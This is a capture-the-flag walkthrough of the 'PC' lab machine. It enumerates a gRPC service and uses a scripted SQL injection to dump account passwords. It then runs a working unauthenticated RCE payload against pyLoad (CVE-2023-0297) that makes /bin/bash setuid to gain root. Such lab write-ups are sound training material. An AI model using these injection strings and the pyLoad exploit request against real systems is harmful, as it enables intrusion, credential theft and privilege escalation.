easy - PC Machine Link to heading
User flag Link to heading
Let’s scan the network:
➤ sudo nmap -nv -Pn -sC -sV -O -T4 -oA nmap-scan pc.htb
Which only reports port 22/tcp open:
➤ cat nmap-scan.nmap | ag open
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
Let’s try scanning all ports TCP and UDP:
- -sS -p- pc.htb
- -sU -p- pc.htb
I’ve found this:
50051/tcp open unknown
I don’t get it yet, there is something on that 50051/tcp port:
➤ echo wtf | nc pc.htb 50051
???%
➤ curl http://pc.htb:50051
curl: (1) Received HTTP/0.9 when not allowed
➤ curl -k https://pc.htb:50051
curl: (35) OpenSSL/3.0.9: error:0A00010B:SSL routines::wrong version number
After a quick check in wikipedia, it seems that port 50051 is used by gRPC, so what is it?:
gRPC (gRPC Remote Procedure Calls ) is a cross-platform open source high performance remote procedure call (RPC) framework. gRPC was initially created by Google, which used a single general-purpose RPC infrastructure called Stubby… It uses HTTP/2 for transport, …
So lets get a client grpc_cli
:
# Listing what we have in that service
➤ grpc_cli ls pc.htb:50051
SimpleApp
grpc.reflection.v1alpha.ServerReflection
# Listing what we have in SimpleApp:
➤ grpc_cli ls pc.htb:50051 SimpleApp -l
filename: app.proto
service SimpleApp {
rpc LoginUser(LoginUserRequest) returns (LoginUserResponse) {}
rpc RegisterUser(RegisterUserRequest) returns (RegisterUserResponse) {}
rpc getInfo(getInfoRequest) returns (getInfoResponse) {}
}
# Checking RegisterUserRequest structure
➤ grpc_cli type pc.htb:50051 RegisterUserRequest
message RegisterUserRequest {
string username = 1;
string password = 2;
}
# Trying to register
➤ grpc_cli call pc.htb:50051 SimpleApp.RegisterUser ''
connecting to pc.htb:50051
message: "username or password must be greater than 4"
Rpc succeeded with OK status
➤ grpc_cli call pc.htb:50051 SimpleApp.RegisterUser 'username: "foobar", password: "foobar"'
connecting to pc.htb:50051
message: "Account created for user foobar!"
Rpc succeeded with OK status
# Logging
➤ grpc_cli call pc.htb:50051 SimpleApp.LoginUser 'username: "foobar", password: "foobar"'
connecting to pc.htb:50051
message: "Your id is 732."
Received trailing metadata from server:
token : b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiZm9vYmFyIiwiZXhwIjoxNjg2MzcwMjQ2fQ.VVFuG6VhJhRSeNJdckmOAtTdlOTjDzeNlQ3ri6rLt_A'
Rpc succeeded with OK status
# Testing getInfo
➤ grpc_cli type pc.htb:50051 getInfoRequest
message getInfoRequest {
string id = 1;
}
➤ grpc_cli call pc.htb:50051 SimpleApp.getInfo 'id: "732"'
connecting to pc.htb:50051
message: "Authorization Error.Missing \'token\' header"
Rpc succeeded with OK status
Ok, so the deal is that grpc_cli
doesnt’ support headers, we cannot set token, I already tried. Let’s use a python client, but for that we need to get the .proto
file for the service.
➤ grpcurl -plaintext pc.htb:50051 describe SimpleApp > protos/SimpleApp.proto
➤ file protos/SimpleApp.proto
protos/SimpleApp.proto: ASCII text
# I had to modify it like this:
➤ cat protos/SimpleApp.proto
syntax = "proto3";
message getInfoRequest {
string id = 1;
}
message getInfoResponse {
string message = 1;
}
service SimpleApp {
rpc getInfo ( .getInfoRequest ) returns ( .getInfoResponse );
}
➤ python -m grpc_tools.protoc -I./protos --python_out=. --grpc_python_out=. ./protos/SimpleApp.proto
Up to this point I wanted to run a gRPC python client which was failing for me with multiple tries & configurations. After googling I’ve found this tool grpcui
which proxies this grpc http2 to a regular http browsing on your default webbrowser.
… and curl
works now! 😄
➤ curl -I 'http://127.0.0.1:45031/'
HTTP/1.1 200 OK
Cache-Control: private, must-revalidate
Content-Length: 7295
Content-Type: text/html; charset=utf-8
Etag: udpVnrYoZ_4aBEHdR5XGR3NBKthwmecSkANDb7yNGyM
Set-Cookie: _grpcui_csrf_token=idCj6O8TOcjLeSiX8ktXOifq_STTps1-PeGVHvbMT9U
Date: Sat, 10 Jun 2023 01:59:45 GMT
I wanted to try to create an user foobar and explore from there but I tested that admin:admin
are valid default credentials!!
So the problem is that this id changes over the time and also the token becames invalid, so I have to automate it to get a new fresh id and its token on each request. This time I will just work with grpcurl
.
# The bash script
grpcurl \
-plaintext \
-d '{"id": "512"}' \
-rpc-header 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODYzNzM2NTB9.kkejZIKZXMjf9PI1LfniU7PUwCPGWmDCJsNMml3TbWk' \
pc.htb:50051 SimpleApp.getInfo
{
"message": "Will update soon."
}
Here the automated code:
response=$( grpcurl -v -plaintext \
-d '{"username":"admin", "password":"admin"}' \
pc.htb:50051 SimpleApp.LoginUser | ag 'token|message'
)
idnumber=$(echo "${response}" | sed 's/token.*//' | sed -n 's/[^0-9]*\([0-9]\+\).*/\1/p')
token=$(echo "${response}" | sed -n "s/.*b'\([^']*\)'.*/\1/p")
payload='{"id":"'"${idnumber} UNION SELECT 12345"'"}'
grpcurl \
-plaintext \
-d "${payload}" \
-rpc-header 'token: '"${token}" \
pc.htb:50051 SimpleApp.getInfo
{
"message": "12345"
}
So now I will try different payloads:
# Checking error info leak
payload='{"id":"'"${idnumber}; SELECT 0"'"}'
ERROR:
Code: Unknown
Message: Unexpected <class 'sqlite3.Warning'>: You can only execute one statement at a time.
# Checking version
payload='{"id":"'"${idnumber} UNION SELECT sqlite_version()"'"}'
{ "message": "3.31.1" }
# SQLi-ing
payload='{"id":"'"-1 union select group_concat(username) from accounts"'"}'
{ "message": "admin,sau" }
payload='{"id":"'"-1 union select group_concat(password) from accounts"'"}'
{ "message": "admin,HereIsYourPassWord1431" }
And we’ve got sau’s ssh access:
sau@pc:~$ id
uid=1001(sau) gid=1001(sau) groups=1001(sau)
sau@pc:~$ ls
user.txt
Root flag Link to heading
sau@pc:~$ sudo -l
[sudo] password for sau:
Sorry, user sau may not run sudo on localhost.
Checking network:
sau@pc:~$ netstat -tlpn | grep LISTEN
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 0.0.0.0:9666 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp6 0 0 :::50051 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
That 8000/tcp is running a PyLoad app (SSH Proxy to your local is required here):
➤ curl -s -L http://localhost:8000 | ag pyload
<title>Login - pyLoad </title>
<img alt="Pyload" src="/_themes/modern/img/pyload-logo.png">
… and as a magic I found a github repo created 5 months ago 😄 CVE-2023-0297: Pre-auth RCE in pyLoad
https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad
where PyLoad is using a vulnerable function eval_js()
where we can send malicious payload remotely without authentication at all 😄 - let’s make /bin/bash suid.
chmod u+s /bin/bash
= %63%68%6d%6f%64%20%75%2b%73%20%2f%62%69%6e%2f%62%61%73%68
curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"%63%68%6d%6f%64%20%75%2b%73%20%2f%62%69%6e%2f%62%61%73%68\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://localhost:8000/flash/addcrypted2'
And voilá:
sau@pc:~$ ls -ltra /bin/bash
-rwxr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
sau@pc:~$ ls -ltra /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
sau@pc:~$ /bin/bash -p
bash-5.0# id
uid=1001(sau) gid=1001(sau) euid=0(root) groups=1001(sau)